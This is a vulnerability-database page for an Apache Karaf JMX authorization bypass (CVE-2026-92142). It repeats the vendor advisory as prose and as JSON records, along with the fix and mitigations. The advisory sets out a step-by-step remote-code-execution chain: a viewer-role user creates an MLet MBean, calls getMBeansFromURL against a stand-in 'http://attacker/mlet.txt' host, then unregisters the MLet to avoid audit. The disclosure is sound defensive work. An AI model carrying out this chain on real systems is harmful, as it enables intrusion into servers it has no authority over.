Vulnerability-Lookup

FKIE_CVE-2026-92142

Vulnerability from fkie_nvd - Published: 2026-09-29 09:17 - Updated: 2026-09-29 14:56

Severity

Summary

Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.

References

	URL	Tags
	security@apache.org	https://karaf.apache.org/security/cve-2026-92142.txt
	af854a3a-2127-422b-91ae-364da2661108	http://www.openwall.com/lists/oss-security/2026/09/28/11

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "Apache Karaf",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "4.4.12",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "security@apache.org"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\n\n\n\u00a0 private final List\u003cString\u003e guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard\u0027s existing \"invoke\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00a0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels."
    }
  ],
  "id": "CVE-2026-92142",
  "lastModified": "2026-09-29T14:56:12.013",
  "metrics": {},
  "published": "2026-09-29T09:17:10.497",
  "references": [
    {
      "source": "security@apache.org",
      "url": "https://karaf.apache.org/security/cve-2026-92142.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/28/11"
    }
  ],
  "sourceIdentifier": "security@apache.org",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security@apache.org",
      "type": "Secondary"
    }
  ]
}

CVE-2026-92142 (GCVE-0-2026-92142)

Vulnerability from cvelistv5 – Published: 2026-09-29 08:40 – Updated: 2026-09-29 09:15

Title

Apache Karaf: Authorization bypass in JMX MBean lifecycle operations

Summary

Severity

No CVSS data available.

CWE

CWE-862

Assigner

apache mitre root

References

2 references

URL	Tags
https://karaf.apache.org/security/cve-2026-92142.txt	vendor-advisory
http://www.openwall.com/lists/oss-security/2026/0…

Impacted products

1 product

Vendor	Product	Version
Apache Software Foundation	Apache Karaf	Affected: 0 , < 4.4.12 (semver)

Credits

MopMonk-AI <mopmonk-ai@tophant.com>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2026-09-29T09:15:50.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/09/28/11"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Apache Karaf",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "4.4.12",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "MopMonk-AI \u003cmopmonk-ai@tophant.com\u003e"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Apache Karaf exposes a JMX MBeanServer guarded by\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a j\u003ccode\u003eava.lang.reflect.Proxy\u003c/code\u003e\u0026nbsp;around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u0026nbsp;\u003ccode\u003eMBeanInvocationHandler#guarded\u003c/code\u003e:\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003ccode\u003e\u0026nbsp; private final List\u0026lt;String\u0026gt; guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\u003c/code\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThe MBean lifecycle operations\u0026nbsp;\u003ccode\u003eMBeanServer#createMBean\u003c/code\u003e,\u0026nbsp;\u003ccode\u003e#registerMBean\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u003ccode\u003e#unregisterMBean\u003c/code\u003e\u0026nbsp;are not in this list. Calls to these methods are forwarded directly to the underlying\u0026nbsp;\u003ccode\u003eMBeanServer\u003c/code\u003e\u0026nbsp;with no role check at all, regardless of the roles configured in\u0026nbsp;\u003cspan\u003eetc/jmx.acl.*.cfg.\u003c/span\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"\u003ccode\u003eviewer\u003c/code\u003e\" role, can call\u0026nbsp;\u003ccode\u003ecreateMBean()\u003c/code\u003e\u0026nbsp;to instantiate an arbitrary class as a MBean, and\u0026nbsp;\u003ccode\u003eunregisterMBean()\u003c/code\u003e\u0026nbsp;to remove it again afterwards, with no authorization check and no audit log entry (logging in\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e\u0026nbsp;only occurs on the RBAC-denial path, which this bypass never reaches).\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThis is significant because\u0026nbsp;\u003ccode\u003ejavax.management.loading.MLet\u003c/code\u003e, a standard JDK MBean, can be instantiated this way.\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;acts as a remote classloader: its\u0026nbsp;\u003ccode\u003egetMBeansFromURL(URL)\u003c/code\u003e\u0026nbsp;operation fetches an\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e\u0027s existing \"invoke\" check, but the default\u0026nbsp;\u003ccode\u003eetc/jmx.acl.cfg\u003c/code\u003e\u0026nbsp;grants the \"\u003ccode\u003eviewer\u003c/code\u003e\" role to any method name matching the wildcard rule \"\u003ccode\u003eget* = viewer\u003c/code\u003e\", a heuristic intended for read-only getters. Because \"\u003ccode\u003egetMBeansFromURL\u003c/code\u003e\" happens to start with \"\u003ccode\u003eget\u003c/code\u003e\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;at all. Combined with the createMBean gap, this gives a \"\u003ccode\u003eviewer\u003c/code\u003e\"-role JMX client a path to remote code execution to the Karaf JVM:\u003c/div\u003e\u003cdiv\u003e\u003col\u003e\u003cli\u003eAuthenticate to JMX as any user with any role (e.g. \"\u003ccode\u003eviewer\u003c/code\u003e\").\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.createMBean(\"javax.management.loading.MLet\", objectName)\u003c/code\u003e\u0026nbsp;is not in\u0026nbsp;\u003ccode\u003eGUARDED_OPERATIONS\u003c/code\u003e, no RBAC check, MLet is instantiated and registered.\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u003c/code\u003e\u0026nbsp;is guarded, but the method name matches the default \"\u003ccode\u003eget* = viewer\u003c/code\u003e\" ACL rule, so permitted.\u003c/li\u003e\u003cli\u003eThe remote\u0026nbsp;\u003ccode\u003e.mlet\u003c/code\u003e\u0026nbsp;file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.unregisterMBean(objectName)\u003c/code\u003e\u0026nbsp;can be used to remove the MLet afterwards, also not in\u0026nbsp;\u003ccode\u003eGUARDED_OPERATIONS\u003c/code\u003e, no RBAC check, no audit trail.\u003c/li\u003e\u003c/ol\u003e\u003c/div\u003e\u003cdiv\u003eThe fix adds\u0026nbsp;\u003ccode\u003ecreateMBean\u003c/code\u003e,\u0026nbsp;\u003ccode\u003eregisterMBean\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u003ccode\u003eunregisterMBean\u003c/code\u003e\u0026nbsp;to the guarded operation list, resolves required roles for them from the\u0026nbsp;\u003ccode\u003ejmx.acl*\u003c/code\u003e\u0026nbsp;configuration by\u0026nbsp;\u003ccode\u003eObjectName\u003c/code\u003e\u0026nbsp;and (for\u0026nbsp;\u003ccode\u003ecreateMBean\u003c/code\u003e/\u003ccode\u003eregisterMBean\u003c/code\u003e) MBean class name, and ships default\u0026nbsp;\u003ccode\u003eetc/jmx.acl.cfg\u003c/code\u003e\u0026nbsp;entries restricting all three operations to the \"\u003ccode\u003eadmin\u003c/code\u003e\" role. This allows deployments to also write class-name-specific rule, e.g.:\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003ccode\u003ecreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\u003c/code\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"\u003ccode\u003eadmin\u003c/code\u003e\" JMX credentiels.\u003c/div\u003e"
            }
          ],
          "value": "Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\n\n\n\u00a0 private final List\u003cString\u003e guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard\u0027s existing \"invoke\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00a0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "text": "important"
            },
            "type": "Textual description of severity"
          },
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-29T08:40:07.961Z",
        "orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
        "shortName": "apache"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://karaf.apache.org/security/cve-2026-92142.txt"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Apache Karaf: Authorization bypass in JMX MBean lifecycle operations",
      "x_generator": {
        "engine": "Vulnogram 1.0.3"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
    "assignerShortName": "apache",
    "cveId": "CVE-2026-92142",
    "datePublished": "2026-09-29T08:40:07.961Z",
    "dateReserved": "2026-09-15T16:59:01.764Z",
    "dateUpdated": "2026-09-29T09:15:50.700Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

FKIE_CVE-2026-92142

CVE-2026-92142 (GCVE-0-2026-92142)

Tags

Sightings

Nomenclature

Related by attack behaviour